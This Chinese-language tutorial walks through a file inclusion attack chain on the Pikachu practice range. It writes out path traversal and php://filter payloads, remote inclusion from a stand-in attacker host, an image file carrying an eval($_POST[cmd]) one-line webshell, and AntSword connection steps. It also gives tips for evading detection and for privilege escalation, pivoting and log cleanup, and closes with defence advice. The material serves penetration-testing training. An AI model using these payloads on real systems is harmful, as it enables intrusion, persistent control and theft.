文件包含漏洞实战:从Pikachu靶场到蚁剑WebShell的完整渗透链条

📅 2026/7/10 3:31:20
文件包含漏洞实战:从Pikachu靶场到蚁剑WebShell的完整渗透链条
1. 项目概述一次完整的文件包含漏洞实战演练最近在带新人做渗透测试基础训练发现很多朋友对文件包含漏洞的理解还停留在“读取/etc/passwd”的层面实战中遇到稍微复杂点的场景就无从下手了。正好Pikachu靶场的文件包含模块设计得相当经典它模拟了真实环境中开发者可能犯的多种错误。这次我就以这个靶场为例带你走一遍从漏洞发现、源码审计、到最终利用蚁剑获取WebShell的完整链条。这不仅仅是“打靶”更是理解漏洞原理、掌握渗透思路的过程。无论你是刚入门的安全爱好者还是想巩固基础的从业者这篇记录都能帮你把文件包含这个看似简单实则变化多端的漏洞玩出花来。文件包含漏洞本质上是应用程序在引入外部文件时未对用户输入进行严格过滤导致攻击者可以包含并执行任意文件。在PHP环境中这通常涉及include、require、include_once、require_once这些函数。Pikachu靶场巧妙地将本地文件包含与远程文件包含场景分开并设置了不同的过滤条件为我们提供了绝佳的练手环境。我们这次的目标很明确不仅要看到漏洞现象更要理解背后的代码逻辑并运用多种技术手段最终实现命令执行和持久化控制。2. 环境搭建与漏洞点初探2.1 Pikachu靶场部署要点首先你得有一个能运行的Pikachu靶场。它本质上是一个PHP网站所以你需要一个Web服务器环境如Apache或Nginx和PHP解析器。我强烈建议使用Docker或集成环境如PHPStudy、XAMPP来部署这样可以避免因环境配置差异导致的“靶场能访问但漏洞无法复现”的尴尬情况。注意部署时请确保你的PHP版本与Pikachu靶场兼容。通常PHP 5.x 到 7.x 的版本都可以。过高的PHP版本如8.0可能因为某些函数被移除或默认配置更严格而导致部分漏洞无法触发。我个人的测试环境是 Apache 2.4 PHP 7.3。将下载的Pikachu源码包解压到Web服务器的根目录例如htdocs或www目录下。访问http://你的IP/pikachu按照页面提示初始化数据库即可。部署成功后你可以在左侧菜单栏的“漏洞类型”下找到“File Inclusion文件包含”模块。这里通常包含三个子项File Inclusion(local)、File Inclusion(remote)和可能存在的其他变种。我们的主战场就是前两个。2.2 漏洞界面与功能分析点击进入“File Inclusion(local)”你会看到一个非常简单的文件查看功能。页面上可能有一个下拉菜单或输入框让你选择或提交一个文件名如file1.php、file2.php、file3.php然后页面会显示对应文件的内容。作为攻击者我们的第一反应是这个文件名参数是如何传递给后端程序的它被用在哪个函数里有没有过滤直接查看网页源代码或者用浏览器的开发者工具F12查看网络请求我们可以发现关键点通常文件名是通过URL的GET参数传递的例如?filenamefile1.php。这个filename参数就是我们的突破口。一个安全的程序应该将用户输入限制在预定义的白名单内比如只允许file1,file2,file3或者至少过滤掉../、http://等危险字符。但Pikachu的本地包含漏洞点故意留下了缺陷。2.3 初步测试与漏洞确认最基础的测试就是尝试路径遍历。在输入框或URL参数中不直接提交file1.php而是尝试提交../../../../etc/passwd。如果页面返回了Linux系统的用户列表那么本地文件包含漏洞就坐实了。这一步的意义在于确认漏洞的存在性和可利用性。但仅仅读取/etc/passwd是远远不够的这只是“漏洞证明”离“getshell”还差得远。我们的思路需要更进一步能否利用这个漏洞读取到网站本身的源码因为源码里可能包含数据库配置、其他敏感接口甚至是帮助我们进一步利用的线索。3. 源码读取与漏洞原理深度剖析3.1 利用漏洞读取网站源码在PHP中如果我们直接包含一个.php文件它会被服务器执行我们看到的是执行后的HTML结果而不是源代码。为了读取源码我们需要利用PHP内置的封装协议。最常用的就是php://filter。我们可以构造这样的Payload?filenamephp://filter/readconvert.base64-encode/resource目标文件.php这个Payload的原理是php://filter是一个元封装器它可以对数据流进行过滤处理。readconvert.base64-encode表示以Base64编码的方式读取资源。resource后面跟的是我们想读取的文件路径。服务器会尝试打开这个“文件”但由于我们使用了过滤器它不会执行PHP代码而是将文件的原始内容即源代码进行Base64编码后输出。我们在页面上看到的就是一串Base64字符串将其解码就能得到清晰的PHP源代码。在Pikachu本地包含漏洞点我们可以尝试读取当前漏洞文件本身的源码来理解其逻辑。通常这类练习文件的路径是相对固定的。我们可以尝试?filenamephp://filter/readconvert.base64-encode/resourcefileinclude.php或者结合路径遍历猜测路径?filenamephp://filter/readconvert.base64-encode/resource../../../vul/fileinclude/fileinclude.php将页面返回的Base64字符串复制出来在线或本地用Base64解码工具解码你就能看到类似下面的关键代码片段if(isset($_GET[submit]) $_GET[filename]!null){ $filename$_GET[filename]; // 这里可能有一些简单的过滤但被我们绕过了 include $filename; }代码逻辑一目了然程序直接接收filename参数未经充分过滤就交给了include函数。这就是漏洞的根源。在真实环境中代码可能更复杂过滤可能更多但原理相通。3.2 远程文件包含与更危险的利用Pikachu的“File Inclusion(remote)”模块通常模拟了另一种场景程序允许包含远程服务器上的文件。这需要php.ini中allow_url_include配置为On在早期PHP版本中默认可能是开启的现在通常默认关闭。远程文件包含的危害性更大因为它允许攻击者直接包含托管在可控服务器上的恶意脚本。测试远程包含是否开启可以尝试?filenamehttp://你的攻击机IP/test.txt。如果页面成功包含了你的test.txt文件内容则证明漏洞存在。更高级的利用是我们可以在攻击机上放置一个包含PHP代码的文本文件但后缀可以是.txt因为只要内容被include其中的PHP代码就会被目标服务器执行。例如在攻击机的http://attacker.com/shell.txt中写入?php phpinfo();?然后让目标包含它如果成功就会执行phpinfo()函数。实操心得在实际渗透测试中allow_url_include关闭是常态。因此本地文件包含是更常见的突破口。我们的重点也应该放在如何通过本地文件包含实现代码执行这就需要用到“文件上传”或“日志注入”等组合技。4. 组合利用从文件包含到代码执行4.1 利用思路与条件准备单纯的本地文件包含只能读取文件要执行系统命令我们必须让服务器包含一个包含我们可控PHP代码的文件。在无法上传文件的情况下我们需要寻找服务器上已经存在的、内容可被我们部分控制或预测的文件。常见的“跳板”文件有Web日志Apache的access.log或 Nginx的access.log。当我们的请求被记录时如果我们在User-Agent或Referer中插入PHP代码这些代码就会被写入日志文件。然后我们通过文件包含漏洞去包含这个日志文件其中的PHP代码就会被执行。Session文件PHP的Session文件通常存储在/tmp或特定目录下文件名如sess_[sessionid]。如果我们能控制Session的内容例如通过网站的表单设置一个包含PHP代码的Session变量那么Session文件中就会包含我们的代码。其他临时文件或缓存文件一些应用框架会生成缓存文件内容可能部分可控。在Pikachu靶场中为了简化实验它可能直接提供了一个文件上传点或者我们可以利用其他漏洞比如文件上传漏洞先传一个图片马上去。这里我们假设一个更贴近实战的场景靶场存在一个图片上传功能但对文件内容检查不严我们可以上传一个包含PHP代码的图片文件图片马。4.2 制作与上传图片WebShell首先我们制作一个图片马。在一张正常的图片如test.jpg末尾追加我们的PHP代码。可以使用Linux命令cp test.jpg shell.jpg echo ?php eval($_POST[cmd]);? shell.jpg这样shell.jpg看起来还是图片但末尾包含了一句话木马。然后我们找到靶场的上传点上传这个shell.jpg。如果上传成功并且服务器返回了文件的访问路径例如http://target.com/uploads/shell.jpg我们就完成了第一步。注意事项现代WAF或安全软件可能会检测文件头。更隐蔽的做法是使用工具将PHP代码写入图片的EXIF信息等数据区或者直接编辑二进制文件在文件头如FFD8FFE0 for JPEG之后的某个空闲区域插入代码这样不影响图片正常显示。但对于Pikachu靶场简单的追加通常就足够了。4.3 触发包含并执行代码现在我们手头有一个本地文件包含漏洞点http://target.com/vul/fileinclude/?filename一个我们上传的、路径已知的图片马/uploads/shell.jpg接下来就是组合利用。我们通过文件包含漏洞去包含这个图片马?filename../../../uploads/shell.jpg。因为include函数会解析被包含文件中的PHP代码所以当我们访问这个URL时服务器会执行shell.jpg末尾的?php eval($_POST[cmd]);?代码。如何验证代码执行了呢我们可以通过传递POST参数来测试。使用浏览器插件如HackBar或命令行工具curl来发送POST请求。例如POST /vul/fileinclude/?filename../../../uploads/shell.jpg HTTP/1.1 ... cmdphpinfo();如果页面返回了PHP信息页恭喜你你已经成功在目标服务器上执行了任意PHP代码相当于获得了WebShell的“能力”。eval($_POST[cmd])意味着我们可以通过cmd这个POST参数传递任何PHP代码去执行。5. 蚁剑连接与持久化控制5.1 为什么选择蚁剑虽然通过POST传参可以执行命令但这种方式交互性差不方便文件管理、数据库操作等。中国蚁剑是一个图形化、功能强大的WebShell管理工具。它支持多种Shell类型PHP、JSP、ASP等提供文件管理、虚拟终端、数据库管理、插件扩展等一站式功能极大提升了后渗透阶段的效率。我们需要将刚才的“一句话木马”升级为蚁剑可以连接的“标准Shell”。实际上我们上传的?php eval($_POST[cmd]);?就是蚁剑支持的PHP一句话木马的一种形式。蚁剑连接时会通过这个参数传递它自己的加密代码实现丰富的功能。5.2 配置与连接蚁剑首先确保你从正规渠道下载了蚁剑。启动蚁剑右键点击空白处选择“添加数据”。URL地址填写我们包含图片马后能执行代码的完整URL即http://target.com/vul/fileinclude/?filename../../../uploads/shell.jpg。注意这里是包含漏洞的URL不是图片本身的直接URL。连接密码填写cmd。这是我们一句话木马中$_POST[cmd]的参数名蚁剑将通过这个参数传递数据。编码器通常选择default默认即可。如果连接不稳定或目标环境有特殊限制可以尝试base64、rot13等其他编码器。Shell类型选择PHP。填写完毕后点击“添加”。然后双击新添加的这条记录。如果一切配置正确蚁剑会尝试连接。连接成功后左侧会显示目标服务器的目录结构。5.3 常见连接问题排查连接失败是新手常遇到的问题可以从以下几个方面排查Shell是否存活首先用浏览器或curl单独访问包含漏洞的URL并POST一个简单的命令如cmdecho test;看是否有回显。确保代码执行功能正常。路径问题filename参数中的相对路径../../../uploads/shell.jpg可能不对。需要根据靶场的实际目录结构进行调整。可以使用cmdprint_r(scandir(.));这样的命令来列出当前目录文件帮助你定位uploads目录的正确相对路径。编码器与免杀默认编码器可能被目标服务器的安全软件拦截。尝试在蚁剑的Shell配置中更换编码器例如使用base64编码器。蚁剑的流量特征比较明显在真实环境中可能需要自定义编码器或使用免杀马。HTTPS与证书如果目标使用HTTPS确保URL以https://开头。如果证书不受信任可能需要在蚁剑设置中忽略证书错误。一句话木马被破坏确保图片马中的PHP代码完整且无误。特别是?php ... ?标签和分号。有时文件包含时图片中的其他二进制字符可能导致PHP解析器出错。可以尝试制作一个纯文本的.txt文件里面只写一句话木马然后利用文件包含去包含它如果服务器配置允许包含非PHP文件的话。问题现象可能原因排查步骤蚁剑提示“连接失败”或超时1. Shell URL无法访问2. 网络不通3. 防火墙拦截1. 浏览器直接访问URL确认服务可达。2. Ping/Telnet目标端口。3. 检查本地与目标网络策略。蚁剑连接后显示空白或错误1. 一句话木马未执行2. 路径错误包含的不是木马文件3. PHP代码被破坏1. 用简单POST测试代码执行。2. 使用scandir命令检查目录和文件。3. 重新制作木马文件确保代码纯净。执行命令无回显1. 代码执行被禁用如disable_functions2. 安全模式3. 命令本身无输出1. 执行phpinfo();查看PHP配置。2. 尝试执行echo test;。3. 检查命令语法。5.4 持久化与权限提升成功连接蚁剑后我们相当于有了一个低权限的WebShell通常以Web服务器进程用户身份运行如www-data、nginx、apache。接下来要做的是信息收集查看系统信息、网络配置、当前用户、运行的服务等。蚁剑的“虚拟终端”可以方便地执行系统命令如whoami、id、ifconfig、netstat -antp等。寻找提权路径检查是否有SUID权限的特殊文件find / -perm -us -type f 2/dev/null查看内核版本是否有已知漏洞检查sudo -l看当前用户能以哪些特权身份运行命令。文件管理上传更稳定的后门脚本或者向网站目录写入一个新的、更隐蔽的WebShell文件。可以通过蚁剑的文件管理功能直接操作。内网渗透如果服务器在内网可以尝试利用它作为跳板进一步探测和攻击内网其他机器。蚁剑支持Socket代理等功能。清理痕迹谨慎操作避免在日志中留下过于明显的攻击记录。但Pikachu是靶场这一步可以忽略。6. 漏洞防御与安全开发建议通过这次完整的演练我们不仅学会了攻击更要理解如何防御。文件包含漏洞的根源在于“信任了用户的输入”。以下是一些关键的防御措施白名单策略这是最有效的方法。不要根据用户输入动态包含文件。如果必须动态包含应基于一个预设的白名单进行映射。例如定义一个数组$allowed_files [news news.php, about about.php];用户只允许传递key程序根据key从数组中取出对应的真实文件名进行包含。严格过滤输入如果白名单难以实现必须对用户输入进行严格过滤。过滤所有可能的目录遍历字符../、..\、%2e%2e%2f等编码形式和远程协议头http://、https://、ftp://、php://、data://等。但过滤规则容易被绕过因此不如白名单可靠。设置PHP安全配置在php.ini中确保allow_url_fopen和allow_url_include设置为Off以禁用远程文件包含。设置open_basedir将PHP可操作的文件限制在网站根目录及其子目录下防止跨目录访问敏感系统文件。避免动态包含重新评估代码设计是否真的需要动态包含文件很多时候可以通过路由或其他设计模式来避免。使用安全的函数在包含文件时尽量使用require或include的_once变体并配合绝对路径。避免使用来自$_GET、$_POST、$_COOKIE等超全局变量的值直接作为包含路径。文件包含漏洞的利用方式远不止本文提到的这些。在更复杂的环境里可能会结合PHP序列化、PHP Stream包装器、expect://协议、input://协议等进行利用甚至与SSRF漏洞结合。理解其核心原理——“将不可信输入传递给文件包含函数”——才能以不变应万变无论是攻击还是防御。在Pikachu靶场的练习只是起点多动手、多思考、多阅读优秀的漏洞分析报告才能在这个领域不断精进。